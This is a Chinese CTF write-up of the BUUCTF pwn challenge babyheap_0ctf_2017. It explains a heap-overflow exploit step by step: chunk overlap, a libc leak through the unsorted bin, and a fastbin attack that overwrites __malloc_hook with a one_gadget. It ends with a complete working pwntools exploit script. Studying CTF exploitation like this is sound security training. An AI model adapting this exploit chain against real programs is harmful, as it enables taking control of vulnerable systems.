[BUUCTF]PWN——babyheap_0ctf_2017

附件

步骤:
例行检查,64位,保护全开

试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个视频,我也刚接触堆不久,有些地方我也讲不清楚

ida载入,先看一下main函数,做堆题的时候需要将程序给理清楚了,这边的几个选项函数一开始不是如图所示的,我们可以右击给他重新命名一下,为了让我们看的更清楚

add,就是简单的创建一个chunk
在创建堆时有一个结构体,这个结构体大概是这样的:

struct pr_heap
{
double alloc_or_not; #0或者1,表示是否分配(0表示没有分配,1表示分配)
double size; #创建chunk的大小
void *heap; #chunk的内存地址
};


edit,我们写入数据的长度是我们可以自己控制的,我们可以利用这点溢出到另一个堆块上

free,普通的释放chunk的过程

show

利用思路

两次 double free 与 fastbin attack 。
第一次先泄露 libc 地址,然后找到构造 fake chunk 的地址。
第二次通过构造的 fake chunk 堆溢出覆写 __malloc_hook 完成 get shell 。

关于堆的一些参数看一下这篇文章

利用过程

1、通过unsortedbin attack 来泄露libc地址

首先应该记住这样一条规律:当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了,所以重点是当small chunk释放时,能读出fd 或者 bk的值

我首先通过如下重叠两个块来泄漏libc的地址(也是常见的攻击)。

提前申请几个小堆块

alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)

free两个fast bin

free(1)
free(2)

由于 fastbin 是 LIFO ,切是单向链表链接的(依赖 fd 指针链接下一个 fastbin)
所ifree 2个fast bin,第二个fast bin的fd会指向第一个fast bin

然后向index=0的内存填充数据,由于堆溢出的漏洞,可以覆盖后边的内存。我们把 chunk 2 的内容覆盖为 chunk 4 的地址
将如图标记处修改为chuk4的地址,只用修改低8字节即可

payload  = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0, payload)

修改后

现在chunk2的fd指向了chunk4,这样相当于 chunk 4 已经被 free 了而且被存放在 fastbin 中。
我们等下要 malloc 回 chunk 4 ,可是 malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小来通过检查,然后通过两次(因为fast bin是单链表)alloc,就可以small chunk放入fast bin中了

payload = p64(0)*3+p64(0x21)
fill(3, payload)
alloc(0x10)
alloc(0x10)

chunk4被我们修改成了fastbin

这样就有2个指针指向同一个chunk了,然后恢复其size大小,申请回来在释放掉(释放时,是当做small bin释放的),接着查看对应chunk的index就好了

payload = p64(0)*3+p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)


unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
0x3c4b78?
libc_base=(程序里的main_arena+88)-0x3c4b78(0x3c4b0+88,一般2.23_64的偏移都是这个,不同libc版本会有不同)](https://editor.csdn.net/md/?articleId=111307531) index=2?
由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址,所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1,第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2,也就是说 index 2 与 index 4 的内容都是 chunk 4)

到这里我们能够获得libc_base了

2、 改写malloc_hook为one_gadget

获得了 libc 地址,我们可以使用 fastbin attack 将一个 libc 上的地址放入 fastbin 链表中,然后 malloc 出来,这样就可已改写 libc 的内容。malloc_hook 是一个 libc 上的函数指针,调用 malloc 时如果该指针不为空则执行它指向的函数,可以通过写 malloc_hook 来 getshell。

同样的,这里我们也要绕过 malloc 的安全检查,chunksize 必须与 fastbin_index 相对应,初看 __malloc_hook 附近没有合适的 chunksize,这里需要巧妙的偏移一下。

可以发现在 0x7f2a8a09eaed 处构造块可以绕过检测(因为 7f 满足 0x70 大小),可以计算 0x7f2a8a09eaed 距离 libc 基址的偏移为 0x3c4aed

alloc(0x60)

free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

接着将malloc_hook改为one_gadget,这样我们在malloc的时候就能够获取shell了

alloc(0x60)
alloc(0x60) payload = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a)
fill(6, payload) alloc(255)

完整EXP:

from pwn import *
import sys context.log_level = "debug" elf = ELF("./babyheap_0ctf_2017")
libc = ELF("./libc-2.23 .so") p = process("./babyheap_0ctf_2017")
#p=remote('node3.buuoj.cn',29218) def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size)) def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content) def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx)) def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline() alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80) #gdb.attach(p) free(1)
free(2) #gdb.attach(p) payload = p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0, payload) #gdb.attach(p) payload = p64(0)*3+p64(0x21)
fill(3, payload) #gdb.attach(p) alloc(0x10)
alloc(0x10) #gdb.attach(p) payload = p64(0)*3+p64(0x91)
fill(3, payload) alloc(0x80)
free(4) #gdb.attach(p) libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base)) alloc(0x60) free(4) payload = p64(libc_base+0x3c4aed)
fill(2, payload) alloc(0x60)
alloc(0x60) payload = p8(0)*3+p64(0)*2+p64(libc_base+0x4526a)
fill(6, payload) alloc(255) p.interactive()

参考wp:
https://poning.me/2017/03/24/baby-heap-2017/
https://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
https://bbs.pediy.com/thread-223461.htm

[BUUCTF]PWN——babyheap_0ctf_2017的更多相关文章

  1. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  2. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  3. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  4. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  5. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  6. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  7. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  8. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

  9. [BUUCTF]PWN——0ctf_2017_babyheap

    0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...

随机推荐

  1. 探究 Go 源码中 panic & recover 有哪些坑?

    转载请声明出处哦~,本篇文章发布于luozhiyun的博客: https://www.luozhiyun.com/archives/627 本文使用的go的源码1.17.3 前言 写这一篇文章的原因是 ...

  2. [luogu4747]Intrinsic Interval

    有一个结论,答案一定是所有包含其合法区间中$l$最大且$r$最小的 证明比较容易,考虑两个合法区间有交,那么交必然合法,同时交也必然包含该区间,因此这个区间一定是合法的(取$l$最大的和$r$最小的两 ...

  3. [bzoj2257]瓶子和燃料

    先考虑选出k个后答案最小会是多少,容易发现其实就是所有的gcd(就是$ax+by=gcd(a,b)$的推广)然后相当于要最大化gcd,反过来可以将所有数的约数都打上+1标记,+1标记不少于k个且最大的 ...

  4. 当 dotnet-monitor 遇上 Prometheus, 是种什么样的体验?

    对于开发和运维人员来说, 监控大屏很棒, 让我们来做一个 Dashboard 吧! 大家可能听说过一些 CLI 诊断工具, 比如 dotnet-counters,dotnet-dump 和 dotne ...

  5. Kubernetes-网络

    前言 本篇是Kubernetes第十一篇,大家一定要把环境搭建起来,看是解决不了问题的,必须实战,此篇文章概念比较多,后续我会继续出一些网络相关实战以及原理探索篇. Kubernetes系列文章: K ...

  6. Linux设置默认的声卡

    首先查看自己电脑上的声卡 使用命令行查看 orangepi@orangepi3:~$ ll /proc/asound/ total 0 dr-xr-xr-x 4 root root 0 Dec 23 ...

  7. Codeforces 633F - The Chocolate Spree(树形 dp)

    Codeforces 题目传送门 & 洛谷题目传送门 看来我这个蒟蒻现在也只配刷刷 *2600 左右的题了/dk 这里提供一个奇奇怪怪的大常数做法. 首先还是考虑分析"两条不相交路径 ...

  8. 【代谢组学】Metabolomics资源推送

    入门课程 伯明翰大学: Metabolomics: Understanding Metabolism in the 21st Century 数据处理 阿拉巴马大学伯明翰分校5年(2013-2018) ...

  9. [Linux] 非root安装GCC9.1.0

    说明 一般Linux系统自带或公共的GCC版本都很低,如目前我们的服务器版本的GCC还停留在gcc-4.9.3,而官网已到达9.2版本(下载http://ftp.gnu.org/gnu/gcc/) , ...

  10. rsync实现windows和windows之间的数据同步

    一:环境 1.同步对象:测试数据 2.服务端:Windows Server 2008 R2 3.客户端:Windows7 旗舰版64位 4.服务端rsync版本:cwRsyncServer_4.1.0 ...